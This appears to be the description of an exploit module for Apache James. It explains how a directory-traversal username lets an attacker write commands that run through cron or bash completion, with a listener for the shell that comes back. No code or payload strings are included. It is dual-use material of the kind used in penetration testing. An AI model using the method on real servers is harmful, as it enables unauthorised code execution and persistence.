This module exploits a vulnerability that exists due to a lack of input
validation when creating a user. Messages for a given user are stored
in a directory partially defined by the username. By creating a user
with a directory traversal payload as the username, commands can be
written to a given directory. To use this module with the cron
exploitation method, run the exploit using the given payload, host, and
port. After running the exploit, the payload will be executed within 60
seconds. Due to differences in how cron may run in certain Linux
operating systems such as Ubuntu, it may be preferable to set the
target to Bash Completion as the cron method may not work. If the target
is set to Bash completion, start a listener using the given payload,
host, and port before running the exploit. After running the exploit,
the payload will be executed when a user logs into the system. For this
exploitation method, bash completion must be enabled to gain code
execution. This exploitation method will leave an Apache James mail
object artifact in the /etc/bash_completion.d directory and the
malicious user account.
